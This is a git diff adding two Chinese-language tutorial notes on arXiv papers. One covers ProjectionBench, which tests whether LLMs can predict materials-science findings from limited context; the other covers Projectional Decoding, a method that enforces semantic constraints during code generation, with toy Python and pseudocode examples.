diff --git a/src/content/docs/papers/projection-bench.md b/src/content/docs/papers/projection-bench.md
new file mode 100644
index 000000000..8dca151fa
--- /dev/null
+++ b/src/content/docs/papers/projection-bench.md
@@ -0,0 +1,400 @@
+---
+title: ProjectionBench — 渐进披露下，LLM 能「猜对」科学结论吗？
+来源: https://arxiv.org/abs/2605.30284
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：猜结局的侦探剧
+
+想象你在看一集还没播完的悬疑剧。导演只告诉你：
+
+1. **第一幕**：题材是「校园」+ 核心问题是「谁偷了图书馆的稀有书？」
+2. **第二幕**：追加一条线索——「警方怀疑是内部人员，但尚无证据」
+3. **第三幕**：再给你完整审讯记录和物证链
+
+每一幕结束时，你都要**用一句话写出你认为的结局**（谁干的、关系如何变化）。最后和编剧写好的真结局对比：你猜对了哪些因果陈述？多写了哪些胡编？漏掉了哪些关键事实？
+
+**ProjectionBench**（Lew, Cao & Buehler, arXiv:2605.30284）把大语言模型（LLM）放进同一套「渐进披露」剧本里，但舞台换成**真实材料科学论文**。它问的不是「模型会不会背课本」或「会不会搜文献写综述」，而是更尖锐的问题：
+
+> 在**还没看到实验结果**时，模型能否像科学家一样，从问题出发**投射（project）**出与论文结论语义一致的发现？
+
+这和常见 benchmark 的分工不同：
+
+| 类比 | 测什么 | 典型 benchmark |
+|------|--------|----------------|
+| 闭卷考试做课后题 | 已知知识上的推理 | SciBench、MatSciBench |
+| 写文献综述、核对引用 | 检索与综合 | DeepScholar-Bench、ResearcherBench |
+| 给你数据集让你提假设 | 数据驱动发现 | DiscoveryBench |
+| **只给研究问题，让你猜实验会得出什么** | **假设生成 + 渐进推理** | **ProjectionBench** |
+
+论文核心发现之一：GPT-5.4 在**仅给主题 + 研究问题**的极简上下文下，仍能保持约 **0.7 F1** 与论文真结论的对齐；而较早的 Gemini 2.5 Pro 往往需要完整实验流程才追得上——说明「创新投射」与「有依据推理」是可以分开度量的两种能力。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 科学发现 ≠ 知识检索
+
+作者引用 Fisher 的经典表述：实验的意义在于给事实一个**否定零假设**的机会。真正的发现需要：
+
+- **创新性**：在信息极少时提出 plausible 的新关系
+- **正确性**：在信息充分时推断与证据一致的结论
+
+现有 benchmark 大多测前者（题库）或测检索/写作，很少用**同一份论文、同一研究问题**，在不同信息量下反复考「你猜的结论离真结局有多远」。
+
+### 2. 「Live + 可扩展」的反污染设计
+
+数据集来自 Springer Nature **近 6 个月**开放获取论文（生物活性材料、机械材料、纳米材料各 15 篇，共 **45 篇**），刻意选在模型训练截止日之后发表，降低「背答案」风险。评测在 **offline** 模式运行，避免模型现场检索原文。
+
+### 3. 与 SoundnessBench 的互补（读者可串联阅读）
+
+若把 [SoundnessBench](./soundness-bench.md) 理解为「提案阶段方法论是否站得住」，ProjectionBench 则测「**若实验真做了，你会预测出什么结果**」。一个管**该不该做**，一个管**做了会得出什么**——都是 AI Scientist / Co-Scientist 流水线里缺了很久的环节。
+
+---
+
+## 核心概念
+
+### 1. Progressive Information Disclosure（渐进信息披露）
+
+模型在三个**上下文档位**收到不同信息，并在每一档生成**一句**投射结论（固定格式：`This study finds RESULT`）：
+
+| 档位 `amount` | 给定信息 | 考察能力 |
+|---------------|----------|----------|
+| **0** | 主题（Topic）+ 研究问题（Research Question） | 开放式科学投射 / 创新 |
+| **1** | 上述 + 零假设（Null Hypothesis） | 在统计框架下收窄猜测 |
+| **2** | 上述 + 实验流程（Experimental Procedure） | 结构化推理、综合实验设计 |
+
+信息像剥洋葱一样变多，F1 随档位变化形成一条曲线；曲线下的面积 **AUC**（三档 F1 之和）作为模型总评。
+
+### 2. Atomic Claims（原子陈述）
+
+论文结论往往一句里塞多个「若 X 则 Y」关系。评测先把 ground truth 与模型投射都拆成**原子 claim**，每条 claim 用三元组表示：
+
+- **subject**：自变量（被操纵的条件）
+- **relationship**：关系词（如 increases、exhibits higher）
+- **object**：因变量（被测量的结果）
+
+再分三类对齐情况：
+
+- **(a)** ground truth claim 有对应的投射 claim
+- **(b)** ground truth 有，投射**缺失**（漏报）
+- **(c)** 投射多出 ground truth 没有的**多余** claim（可能的幻觉）
+
+### 3. LLM-as-Judge + 软 F1
+
+对齐分数 `a(g, p)` 由 **GPT-5 评审**给出（并做顺序翻转取平均，缓解 position bias）。在此基础上定义：
+
+- **TP**：与真值一致或正向对齐的 claim 强度之和
+- **FP**：与真值矛盾 claim 的强度之和
+- **RE**：相关 claim 总数
+
+再算 Precision、Recall、**F1**。这不是简单字符串匹配，而是**语义级**的 claim 对齐。
+
+### 4. 数据集构建的三波提取（GPT-5）
+
+为避免「假设」和「结论」逻辑脱节，信息提取分波进行：
+
+1. **波 1**：标题、主题、实验流程（较客观）
+2. **波 2**：在给定上下文下提取**假设**
+3. **波 3**：零假设、研究问题、**最终结果**（ground truth）
+
+这样 benchmark 里的研究问题、零假设、结论在结构上互相约束，更像真实论文叙事链。
+
+### 5. 实验结果摘要
+
+| 模型 | AUC（三档 F1 合计） |
+|------|---------------------|
+| GPT-5.4 | **1.56** |
+| GPT-5 / Gemini 3.1 Pro Preview | 1.44 |
+| Gemini 2.5 Pro | 1.33 |
+
+其他要点：
+
+- 加**零假设**带来的 F1 提升，往往大于再加**实验流程**——边际信息递减
+- **生物活性材料**题目整体更易猜对；**机械材料**方差大、难度高
+- 低上下文下 Gemini 2.5 Pro 有时「锚定」于传统知识（如默认 NaOH 处理更好），而真论文结论是新型钾肥处理更优——这正是 ProjectionBench 要抓的「创新 vs 复述」差异
+
+---
+
+## 代码示例 1：复现三档渐进披露 Prompt
+
+论文附录 Prompt 1 的核心逻辑：根据 `amount` 拼接上下文，再要求模型只输出一句结果观察。
+
+```python
+from dataclasses import dataclass
+from typing import Literal
+
+ContextAmount = Literal[0, 1, 2]
+
+@dataclass
+class PaperSlice:
+    topic: str
+    research_question: str
+    null_hypothesis: str
+    experimental_method: str
+
+def build_projection_prompt(paper: PaperSlice, amount: ContextAmount) -> str:
+    """ProjectionBench 元素一：可变长度的研究上下文。"""
+    base = (
+        f"Topic: {paper.topic}\n"
+        f"Research Question: {paper.research_question}"
+    )
+    if amount == 0:
+        context = base
+    elif amount == 1:
+        context = base + f"\nUnverified Hypothesis: {paper.null_hypothesis}"
+    else:
+        context = (
+            base
+            + f"\nUnverified Hypothesis: {paper.null_hypothesis}"
+            + f"\nExperimental Procedure: {paper.experimental_method}"
+        )
+
+    task = """
+In one sentence, do your best to project the key outcome of the Research Question.
+Focus on the existence and qualitative extent of relationships between
+Independent and Dependent Variables.
+Do not explain the problem or method. Only provide the new result observation.
+Provide in the following format, filling in 'RESULT':
+
+This study finds RESULT
+""".strip()
+
+    return context + "\n\n" + task
+
+
+# 示例：机械材料论文（论文 Table 3 简化）
+honckenya = PaperSlice(
+    topic="Honckenya fiber-reinforced polypropylene composites",
+    research_question=(
+        "How do novel potash salt (KTN) and conventional NaOH fiber "
+        "treatments compare in thermo-mechanical properties?"
+    ),
+    null_hypothesis=(
+        "KTN treatment does not improve storage/loss moduli or thermal "
+        "stability relative to NaOH-treated composites."
+    ),
+    experimental_method=(
+        "Prepare composites with untreated, NaOH-treated, and KTN-treated "
+        "Honckenya fibers; measure DMA storage/loss moduli and TGA thermal stability."
+    ),
+)
+
+print("=== amount=0 (仅主题+问题) ===")
+print(build_projection_prompt(honckenya, 0)[:400], "...\n")
+print("=== amount=2 (含零假设+实验) ===")
+print(build_projection_prompt(honckenya, 2)[-300:])
+```
+
+**读代码时注意**：三档之间**研究问题不变**，变的是模型「被允许知道多少实验设计」。因此同一模型在三档的输出差异，直接刻画「从猜想到推理」的轨迹。
+
+---
+
+## 代码示例 2：原子 Claim 拆解与简化 F1 计算
+
+完整评测用 GPT-5 做 claim 提取与对齐打分；下面用**可运行的玩具实现**说明「拆句 → 配对 → F1」管线，便于零基础理解论文 Section 3。
+
+```python
+import re
+from dataclasses import dataclass
+
+@dataclass(frozen=True)
+class AtomicClaim:
+    subject: str
+    relationship: str
+    object: str
+
+    def key(self) -> str:
+        norm = lambda s: re.sub(r"\s+", " ", s.strip().lower())
+        return f"{norm(self.subject)}|{norm(self.relationship)}|{norm(self.object)}"
+
+
+def extract_claims_toy(result_sentence: str) -> list[AtomicClaim]:
+    """
+    教学用简化解析：真实 benchmark 用 LLM（Prompt 2–4）做语义级拆分。
+    这里用手工规则模拟 Table 3 中 ground truth 的三条关系。
+    """
+    templates = {
+        "ground_truth": [
+            AtomicClaim("KTN-treated composites", "exhibit higher", "storage modulus"),
+            AtomicClaim("KTN-treated composites", "exhibit higher", "loss modulus"),
+            AtomicClaim("KTN-treated composites", "improve", "thermal stability"),
+        ],
+        "gpt54_low": [
+            AtomicClaim("potash treatment", "improves up to optimum then declines", "thermo-mechanical properties"),
+            AtomicClaim("potash treatment", "comparable or modestly superior to", "NaOH treatment"),
+        ],
+        "gpt54_high": [
+            AtomicClaim("KTN-treated composites", "exhibit higher", "storage modulus"),
+            AtomicClaim("KTN-treated composites", "exhibit higher", "loss modulus"),
+            AtomicClaim("KTN-treated composites", "modestly improve", "thermal stability"),
+        ],
+    }
+    # 演示：根据句子关键词路由到预设 claim 集
+    if "significantly higher storage and loss moduli" in result_sentence:
+        return templates["ground_truth"]
+    if "optimum level" in result_sentence:
+        return templates["gpt54_low"]
+    if "comparable to or slightly better than NaOH" in result_sentence:
+        return templates["gpt54_high"]
+    return []
+
+
+def alignment_score(gt: AtomicClaim, pred: AtomicClaim) -> float:
+    """玩具对齐：key 完全一致得 1.0，subject/object 部分重叠得 0.5，否则 0。"""
+    if gt.key() == pred.key():
+        return 1.0
+    overlap = (
+        gt.subject.lower() in pred.subject.lower()
+        or pred.subject.lower() in gt.subject.lower()
+    )
+    if overlap and gt.object.lower() == pred.object.lower():
+        return 0.5
+    return 0.0
+
+
+def soft_f1(ground_truth: list[AtomicClaim], projected: list[AtomicClaim]) -> float:
+    """
+    简化版软 F1：对每个 projected claim 取与 ground truth 的最佳对齐；
+    对每个 ground truth 检查是否被任一 projected 覆盖（recall）。
+    论文用加权 TP/FP 与 LLM 评审分数，这里保留直觉。
+    """
+    if not projected:
+        return 0.0
+
+    tp = 0.0
+    matched_gt = set()
+
+    for p in projected:
+        best = max((alignment_score(g, p) for g in ground_truth), default=0.0)
+        if best > 0:
+            tp += best
+            for i, g in enumerate(ground_truth):
+                if alignment_score(g, p) == best:
+                    matched_gt.add(i)
+
+    fp = sum(1 for p in projected if max(alignment_score(g, p) for g in ground_truth) == 0)
+    fn = len(ground_truth) - len(matched_gt)
+
+    precision = tp / (tp + fp) if (tp + fp) else 0.0
+    recall = tp / (tp + fn) if (tp + fn) else 0.0
+    if precision + recall == 0:
+        return 0.0
+    return 2 * precision * recall / (precision + recall)
+
+
+GT = "This study finds KTN-treated Honckenya fiber/polypropylene composites exhibit significantly higher storage and loss moduli and improved thermal stability over temperature than NaOH-treated or untreated counterparts."
+
+low = "This study finds potash treatment produces comparable to modestly superior thermo-mechanical performance than NaOH, improving up to an optimum level and then declining under harsher treatment."
+
+high = "This study finds KTN-treated Honckenya fiber/polypropylene composites exhibit higher storage and loss moduli and modestly improved thermal stability across the temperature range than untreated composites, comparable to or slightly better than NaOH-treated composites."
+
+print("GPT-5.4 低上下文 F1 (玩具):", round(soft_f1(extract_claims_toy(GT), extract_claims_toy(low)), 2))
+print("GPT-5.4 高上下文 F1 (玩具):", round(soft_f1(extract_claims_toy(GT), extract_claims_toy(high)), 2))
+# 论文报告：低上下文 F1≈0.5，高上下文 F1≈1.0（Table 3）
+```
+
+这段玩具代码**不能**复现论文精确分数，但展示了 ProjectionBench 的评测哲学：**先把结论拆成可检验的原子关系，再算语义对齐的精确率与召回率**。
+
+---
+
+## 代码示例 3：汇总三档分数得到 AUC
+
+```python
+def projectionbench_auc(f1_by_amount: dict[int, float]) -> float:
+    """
+    论文定义：AUC = 三档渐进披露 F1 的聚合（文中为各档 F1 之和）。
+    f1_by_amount: {0: f1_minimal, 1: f1_with_null, 2: f1_with_procedure}
+    """
+    return sum(f1_by_amount.get(i, 0.0) for i in (0, 1, 2))
+
+
+# 示意：GPT-5.4 在 45 篇上的平均趋势（具体分档数值见论文 Figure 3）
+gpt54_example = {0: 0.70, 1: 0.82, 2: 0.90}
+gemini25_example = {0: 0.35, 1: 0.55, 2: 0.78}
+
+print("GPT-5.4 AUC (示意):", projectionbench_auc(gpt54_example))
+print("Gemini 2.5 Pro AUC (示意):", projectionbench_auc(gemini25_example))
+```
+
+AUC 高不一定代表「更会幻觉」，因为 FP 会进入分母；但若低上下文 F1 也很高，说明模型在**少信息时就能瞄准正确因果方向**——这正是 co-scientist 在实验设计早期最需要的技能。
+
+---
+
+## 方法论细节：为什么这样设计算「科学」
+
+### 与零假设检验的结构对齐
+
+传统流程：研究问题 → 零假设 → 实验 → 拒绝/接受零假设 → 结论。ProjectionBench **故意**让模型在实验结果披露前多次作答，观察：
+
+- 无零假设时是否瞎猜或复述领域常识
+- 有实验流程时是否能推出与论文一致的定性关系（而非数值过拟合）
+
+### 评判偏差与局限（论文自述）
+
+1. **Judge 同源偏差**：用 GPT-5 评 GPT 系列，可能偏好相近表述；作者计划**跨家族**评审（如 Gemini 评 GPT）。
+2. **材料科学域偏**：45 篇均来自材料子领域，向生物、物理、社科推广需重做数据集管道。
+3. **分档较粗**：仅三档上下文，未来可加方法细节、中间结果等更细粒度。
+4. **离线模式**：测的是「闭卷投射」，不包含工具调用、实时文献检索——与真实 Deep Research agent 仍有距离。
+
+---
+
+## 与其他 benchmark 怎么选（Table 1 精读）
+
+| 维度 | ProjectionBench 特点 |
+|------|----------------------|
+| 数据源 | 近期 OA 论文，持续更新 |
+| 预测目标 | **论文结果/outcome**，非 QA 或任务实现 |
+| 评测 | 原子 claim + LLM judge + F1 |
+| Reasoning | ✓（高上下文档位） |
+| Discovery | ✓（低上下文档位） |
+| Live | ✓（6 个月内新文） |
+| Scalable | ✓（API 拉文 + GPT 提取） |
+
+若你正在做 **AI Scientist** 产品路线图，可把 ProjectionBench 放在「**假设生成质量**」验收环节，与 SoundnessBench 的「**方案健全性**」、DeepScholar 的「**综述可信度**」并列。
+
+---
+
+## 实践启示（给工程师与研究者）
+
+1. **给 agent 的上下文不是越多越好**：论文显示「加上零假设」的边际收益常大于堆满实验细节——产品设计时可先结构化「统计假设」，再喂方法学。
+2. **分开监控两种失败模式**：低 F1 + 高上下文 → 推理/sync 失败；低 F1 仅出现在低上下文 → 可能只会复述旧知识，不会「向前看」。
+3. **评测要拆 claim**：一句漂亮的总结可能混入三个关系，其中一个错了整个发现就不成立；原子化对齐比 BLEU/ROUGE 更贴近科学语义。
+4. **防污染是 live benchmark 的生命线**：新论文 + offline 是最低配；仍应用 hold-out 评审模型与多 judge 交叉验证。
+
+---
+
+## 一句话总结
+
+**ProjectionBench** 用「渐进披露 + 原子陈述对齐 + 分档 F1/AUC」，在真实近期论文上测量 LLM 能否从研究问题**投射**出与真结论语义一致的科学发现——既考极简信息下的创新猜测，也考完整实验语境下的 grounded 推理，为下一代 AI co-scientist 提供了可扩展的「猜结局」标尺。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2605.30284](https://arxiv.org/abs/2605.30284)
+- 作者单位：Unreasonable Labs（Mountain View, CA）
+- 相关笔记：[SoundnessBench](./soundness-bench.md)（提案阶段方法论健全性）
+- 相邻 benchmark：DiscoveryBench、ScholarEval、InnovatorBench、DeepScholar-Bench
+
+---
+
+## 自测题
+
+1. 三档 `amount=0/1/2` 分别多给了什么信息？各主要考察哪种能力？
+2. 为什么要把结论拆成 atomic claims，而不是整句算相似度？
+3. GPT-5.4 在极简上下文 F1≈0.7 意味着什么？是否等于「已经能替代科学家」？
+4. 若用同一模型家族做 judge 和被测模型，可能引入什么偏差？论文建议如何缓解？
+
+<details>
+<summary>参考答案（先自己想再点开）</summary>
+
+1. **0**：仅主题+研究问题 → 开放式投射；**1**：+零假设 → 统计框架下的猜测；**2**：+实验流程 → 基于方法的结构化推理。
+2. 一句结论常含多个独立/因变量关系；整句相似度会把「对一半」与「全对」混为一谈，也无法惩罚**多余错误 claim**。
+3. 表示在**闭卷、极少信息**时，模型猜测与真结论在 claim 级语义上仍有可观对齐；**不等于**可替代科学家——域窄、无因果验证、无实验成本与可重复性考量。
+4. **表述风格偏好**、对齐标准过松/过紧；缓解：**跨家族 judge**、claim 提取统一经第三方模型、对齐评测做顺序翻转平均。
+
+</details>
diff --git a/src/content/docs/papers/projectional-decoding-semantic-aware-llm-generation-arxiv-2605-30054.md b/src/content/docs/papers/projectional-decoding-semantic-aware-llm-generation-arxiv-2605-30054.md
new file mode 100644
index 000000000..f47b13e6a
--- /dev/null
+++ b/src/content/docs/papers/projectional-decoding-semantic-aware-llm-generation-arxiv-2605-30054.md
@@ -0,0 +1,368 @@
+---
+title: Projectional Decoding: 语义感知的大语言模型生成
+来源: https://arxiv.org/abs/2605.30054
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Projectional Decoding: 语义感知的大语言模型生成
+
+## 第一部分：为什么 LLM 写的代码经常"语法对但逻辑错"？
+
+先从一个生活中的例子开始。
+
+假设你要让一位厨师做一道菜，你给了他一份菜谱。这份菜谱规定了：第一步放油、第二步放盐、第三步放酱油。厨师严格按照菜谱操作，每一步都"按规矩来"。但菜谱还有一个隐含要求：盐和酱油不能同时出现在同一个锅里。厨师没有理解这个隐含规则，结果两道料一起下锅，菜就毁了。
+
+这就是大语言模型（LLM）在做代码生成或软件建模时的核心困境：**它能遵守语法规则，但常常违反语义规则。**
+
+语法规则就像菜谱的步骤顺序，是看得见的文字限制。语义规则则是更深层的逻辑约束，比如"变量不能是负数"、"两个函数不能互相死锁"、"类型必须匹配"。这些约束无法只用文字格式来保证。
+
+## 第二部分：背景知识 —— 先理解几个关键词
+
+在深入论文之前，先了解四个基础概念。
+
+**LLM 解码（Decoding）**
+
+LLM 不是一次性吐出整段代码。它像一个"逐字猜词"的游戏：每次只看已经写出来的内容，然后预测下一个字最可能是什么。这个逐字生成的过程就叫解码。
+
+举个例子：
+
+```
+用户提问：写一个 Python 函数，返回两个数中的较大值
+
+LLM 的解码过程：
+第 1 步：预测 "def"
+第 2 步：预测 " max(a,"
+第 3 步：预测 " return"
+第 4 步：预测 " a"
+第 5 步：预测 " if"
+...
+```
+
+**约束解码（Constrained Decoding）**
+
+传统的解码中，LLM 可以从整个词汇表中选字。约束解码则像"戴着镣铐跳舞"：在每一步，先把不合法的词去掉，再从剩下的词中选。
+
+最常见的约束是语法约束，比如根据 Python 的文法规则，在 `def max(a,` 之后，只能选参数名或 `)`，不能随便选 `return`。
+
+**抽象语法树（AST）**
+
+代码在计算机眼里不是一串文字，而是一棵树。每个"节点"代表一种语法结构：
+
+```python
+x = a + b
+```
+
+这行代码的抽象语法树结构：
+
+```
+Assignment
+├── 左边: Name(x)
+└── 右边: BinOp
+    ├── 左: Name(a)
+    ├── 运算符: +
+    └── 右: Name(b)
+```
+
+**语义约束（Semantic Constraints）**
+
+语义约束是比语法更深层的规则。语法管"格式对不对"，语义管"逻辑对不对"。比如：
+
+```
+语法正确但语义错误的代码：
+def add(a, b):
+    return a - b    # 函数名说要做加法，实际做的是减法
+
+这行代码语法完全合法（Python 不会报错），但语义上违反了函数名的含义。
+```
+
+## 第三部分：论文的核心思想
+
+这篇论文的作者提出了一个叫做 **Projectional Decoding（投影解码）** 的新框架。
+
+核心观点一句话概括：
+
+> **不要只用"文字"来生成代码，而是同时维护一个"结构化模型"，在生成的每一步都检查语义是否成立。**
+
+作者把这个框架叫"投影解码"，灵感来自编程编辑器中的一种技术——"投影编辑"。普通编辑器里，你编辑的是文本。投影编辑器里，你编辑的是"代码的结构模型"，文本只是这个模型的"外壳"。无论你怎么改文字，结构模型始终是正确的。
+
+Projectional Decoding 把这个思想用到 LLM 生成代码的过程中：**LLM 输出文字，同时系统维护一个"部分模型"，每生成一个字就更新模型，并检查语义约束。**
+
+## 第四部分：核心概念详解
+
+### 4.1 部分模型（Partial Model）
+
+这是整篇论文最关键的概念。
+
+"部分模型"是什么？想象你在拼图。拼图还没拼完时，你手里有已经拼好的部分，也有还没拼上的空白位置。部分模型就是这种"不完整的结构图"。
+
+论文中，每个节点有四种状态：
+
+- **确定（Certain）**：已经生成的部分，就像拼图中已放好的块
+- **可能（Possible）**：将来可能会生成的部分，就像拼图空白处"可能"出现的块
+- **不存在（Absent）**：被规则排除的部分，绝对不可能出现
+- **错误（Error）**：违反约束的部分，说明前面某个选择错了
+
+```
+部分模型示意：
+
+[确定的节点] → [可能出现的节点] → [还未决定的空白]
+       |                                    |
+       紫色                               黄色
+```
+
+### 4.2 增量语义验证
+
+传统的做法是：等 LLM 把整段代码生成完，再检查语义对不对。如果不对，就从头再来或者修补。
+
+Projectional Decoding 的做法是：**每生成一个字就检查一次**。这就像在拼图的过程中不断检查"这块放进去对不对"，而不是拼完整张图才发现某块放错了。
+
+具体流程：
+
+```
+1. LLM 预测下一个字的概率分布
+2. 语法验证：去掉违反文法的词
+3. 语义验证：对每个候选词，假设选它，更新部分模型，检查是否有语义错误
+4. 去掉会导致语义错误的候选词
+5. 从剩下的词中采样，得到最终的字
+6. 用这个字更新部分模型，重复步骤 1
+```
+
+### 4.3 捕捉不确定性
+
+部分模型的最大好处是**能明确表达"不确定"**。
+
+举个例子。假设你在写一个 Python 函数，要求返回值不能为负数：
+
+```python
+def safe_add(a, b):
+    total = a + b
+    # 此时 total 的值是不确定的
+    # 部分模型会用"可能"状态标记 total
+    # 如果 LLM 下一步选了 return total，部分模型会检查：
+    #   total 有没有可能为负数？如果是，标记为"错误"
+    #   如果不会为负数，标记为"确定"
+```
+
+传统的语法约束做不到这一点。语法约束只知道 `return` 后面可以跟一个表达式，但它不知道这个表达式"可能产生负数"。
+
+## 第五部分：代码示例
+
+### 示例 1：用伪代码描述投影解码的流程
+
+这是论文中架构的伪代码实现思路：
+
+```python
+class ProjectionalDecoder:
+    """投影解码器的主循环"""
+
+    def __init__(self, llm, grammar, metamodel, constraints):
+        self.llm = llm                    # 大语言模型
+        self.grammar = grammar            # 文法规则（语法约束）
+        self.metamodel = metamodel        # 元模型（定义了"什么样的结构是合法的"）
+        self.constraints = constraints    # 语义约束（定义了"什么样的行为是正确的"）
+        self.partial_model = None         # 当前部分模型，初始为空
+
+    def generate(self, prompt):
+        """从提示开始，逐步生成代码"""
+        output_prefix = prompt          # 已生成的代码前缀
+        self.partial_model = empty_graph()  # 初始化空的部分模型
+
+        while not is_complete(output_prefix):
+            # 第一步：让 LLM 预测下一个词的概率
+            token_probs = self.llm.predict_next(output_prefix)
+
+            # 第二步：语法验证 —— 去掉违反文法的词
+            syntactically_valid = self.grammar.filter(
+                token_probs, output_prefix
+            )
+
+            # 第三步：语义验证 —— 逐个测试候选词
+            semantically_valid = {}
+            for token in syntactically_valid:
+                # 假设选了这个词，部分模型会变成什么样？
+                refined_model = self.refine_partial_model(
+                    self.partial_model, token
+                )
+
+                # 检查这个 refin 后的模型有没有违反约束
+                violations = self.check_constraints(refined_model)
+
+                if not violations:
+                    # 没有违反约束，这个词可以保留
+                    semantically_valid[token] = syntactically_valid[token]
+
+            # 第四步：从语义合法的词中采样
+            if not semantically_valid:
+                # 没有词通过了语义验证，生成终止
+                break
+
+            chosen_token = sample(semantically_valid, token_probs)
+            output_prefix += chosen_token  # 追加到已生成代码
+            self.partial_model = self.refine_partial_model(
+                self.partial_model, chosen_token
+            )
+
+        return output_prefix
+
+    def refine_partial_model(self, model, token):
+        """
+        部分模型的精炼（Refinement）
+        这是"投影"概念的核心：每增加一个 token，部分模型就往前推进一步。
+        """
+        # 根据新 token 更新已确定节点的状态
+        # 将部分"可能"节点变为"确定"或"不存在"
+        # 添加新的"可能"节点（由元模型推导出来的后续结构）
+        return updated_model
+```
+
+### 示例 2：CLEVR 程序生成任务的实际例子
+
+论文中用一个叫 CLEVR 的任务来测试投影解码。CLEVR 是一个视觉问答数据集，但也被用来测试 LLM 的程序生成能力。
+
+任务：给一个自然语言问题，LLM 要生成一个程序来计算答案。
+
+```
+问题：
+"有两个红色的立方体和一个蓝色的球体，
+ 其中红色立方体的编号是 0 和 2，
+ 蓝色球体的编号是 1。
+ 请筛选出所有红色的物体，返回它们的数量。"
+
+期望生成的程序（一种领域特定语言 DSL）：
+result = filter(filter(scene, color=red), object=cube).count()
+```
+
+在这个任务中，有三条语义约束：
+1. **类型一致性**：`filter` 的参数必须是一个集合类型，不能是一个数字
+2. **输入数量**：`And` 运算符必须恰好有两个输入
+3. **无环结构**：程序不能有循环依赖
+
+下面是投影解码如何一步步工作的：
+
+```
+生成的部分代码：
+result = filter(scene, color=red)
+
+此时部分模型状态：
+  确定: [filter 节点, color=red 边]
+  可能: [第一个 filter 的输出]
+  不存在: [直接返回数字的节点]  ← 被类型约束排除
+  错误: [无]
+
+LLM 预测下一个词：
+  候选 1: ).      ← 语法合法，但语义检查后发现 count() 的参数是 filter 的输出
+           （类型是集合，正确），保留
+  候选 2: .count() ← 语法合法，语义检查后发现 count 的参数确实是集合类型，保留
+  候选 3: + 3     ← 语法不合法（被文法过滤掉）
+
+采样结果：选择 .count()
+
+更新部分模型：
+  确定: [filter 节点, color=red 边, count 节点]
+  可能: []           ← 如果 count 是最后一个操作，则没有可能节点了
+  错误: [无]
+
+生成完成！
+```
+
+如果没有投影解码，LLM 可能会生成：
+
+```python
+# 错误示例：类型不匹配
+result = count(scene, color=red)
+```
+
+`count` 的参数应该是集合，但 `scene` 可能被错误地当作其他类型。传统的语法约束无法检测这个问题，只有语义验证（通过部分模型检查类型）才能发现。
+
+### 示例 3：部分模型的四值逻辑
+
+论文中引入了一个有趣的四值逻辑系统，用来表示部分模型中每个节点的状态：
+
+```
+四值逻辑：
+  Certain  (确定):  这个节点一定存在 —— 已经生成的代码对应的结构
+  Possible (可能):  这个节点可能会出现 —— 由元模型和约束推导出来的后续结构
+  Absent   (不存在): 这个节点一定不会出现 —— 被约束排除的结构
+  Error    (错误):  这个节点违反了约束 —— 前面的选择导致了错误
+
+类比：天气预报中的四种状态
+  Certain:   今天下雨（已经在下雨了）
+  Possible:  明天可能下雨（还不确定）
+  Absent:    明天绝对不下雨（有台风过境，排除降雨可能）
+  Error:     天气预报说"一定不下雨"，但发现乌云密布（预测与实际矛盾）
+```
+
+这个四值系统让约束检查变得非常精细。一个节点从"可能"变为"确定"或"不存在"，取决于新生成的 token 是否与之兼容。
+
+## 第六部分：实验结果
+
+论文用 Qwen3 系列的三个模型（4B、8B、14B 参数）做了初步实验。对比了三种方法：
+
+| 方法 | 说明 |
+|------|------|
+| 无引导（No Guidance） | LLM 自由生成，不加任何约束 |
+| 语法约束（Syntactic） | 只约束语法，保证代码格式正确 |
+| 语义约束（Semantic） | 投影解码，同时约束语法和语义 |
+
+关键数据（Qwen3-8B）：
+
+- 语法正确率：无引导 87.7% → 语法约束 100% → 语义约束 99.0%
+- **语义正确率：无引导 60.3% → 语法约束 61.0% → 语义约束 79.7%**
+- 任务准确率：无引导 38.7% → 语法约束 37.3% → 语义约束 **40.0%**
+
+最关键的数据是语义正确率从 61% 提升到 **79.7%**，这是一个显著的提升。而且语义约束带来的额外时间开销只有 **1.5 倍**（即每个 token 多花 0.5 倍的时间），这个代价是完全可以接受的。
+
+## 第七部分：与传统方法的区别
+
+为什么现有的约束解码不够好？
+
+**传统方法的问题**：
+
+1. 大多数方法只约束**语法**（比如文法），不管语义
+2. 即使有语义约束，也是针对**特定类型**的规则，比如"类型必须匹配"，不能推广到更广泛的场景
+3. 它们直接在**文本层面**检查，而不是在**结构层面**推理。这就像只看菜谱的文字，不去理解菜的实际结构
+
+**投影解码的优势**：
+
+1. 在**结构层面**（图模型）进行推理，能理解代码的深层含义
+2. 用**部分模型**显式地表示"不确定"，让约束检查可以在代码还没生成完时就进行
+3. 可以处理**通用的语义约束**，不限于特定类型
+4. 有**理论保证**：只要部分模型没有错误，最终生成的代码"有可能"是正确的（但不保证一定正确，因为可能前面走了一条死路）
+
+## 第八部分：局限性和未来方向
+
+### 当前局限
+
+1. **不是 100% 正确**：即使用了投影解码，也没有模型能达到 100% 的语义正确率。原因是 LLM 可能在前几步就选择了一条"死路"，后面的部分模型无论如何都无法满足约束。这时候生成会提前终止，得到一个错误的结果。
+
+2. **需要领域知识**：投影解码需要用户提供元模型和约束规则。对于通用任务（比如写诗歌、写邮件），这种结构化约束可能不适用。
+
+3. **计算开销**：虽然时间开销不大（1.1-1.5 倍），但每步都要进行部分模型的精炼和约束检查，这在长代码生成中会累积。
+
+### 未来研究方向
+
+1. **回溯策略**：如果走到死路了，能不能回退几步重新选词？这类似于在迷宫中找到死路后回头换一条路。
+
+2. **并行化**：语义验证和 LLM 推理可以并行进行，进一步降低时间开销。
+
+3. **更通用的框架**：目前投影解码针对特定任务定制，未来希望有一个通用的框架，让不同领域的用户都能方便地使用。
+
+## 第九部分：总结与个人理解
+
+这篇论文的核心贡献是一个简单但有力的思想：**把"结构"引入生成过程，而不是只用"文字"。**
+
+用一个类比来总结：
+
+- 传统的 LLM 生成就像让一个人凭记忆画一幅画，画完再检查对不对。如果不对，重新画。
+- 投影解码则像让一个人在画布上先搭好骨架（部分模型），然后每画一笔都检查这一笔是否与骨架吻合。画的同时就在验正。
+
+这种"生成即验证"的思想，对于软件工程中需要严格语义正确性的场景（代码生成、模型生成、合规检查等）特别有价值。
+
+论文只是一个初步的探索（5 页，FSE 的 IVR track），但方向很有潜力。后续如果有更高效的约束检查算法和更好的回溯策略，投影解码可能会成为 LLM 代码生成的一个重要方向。
+
+---
+
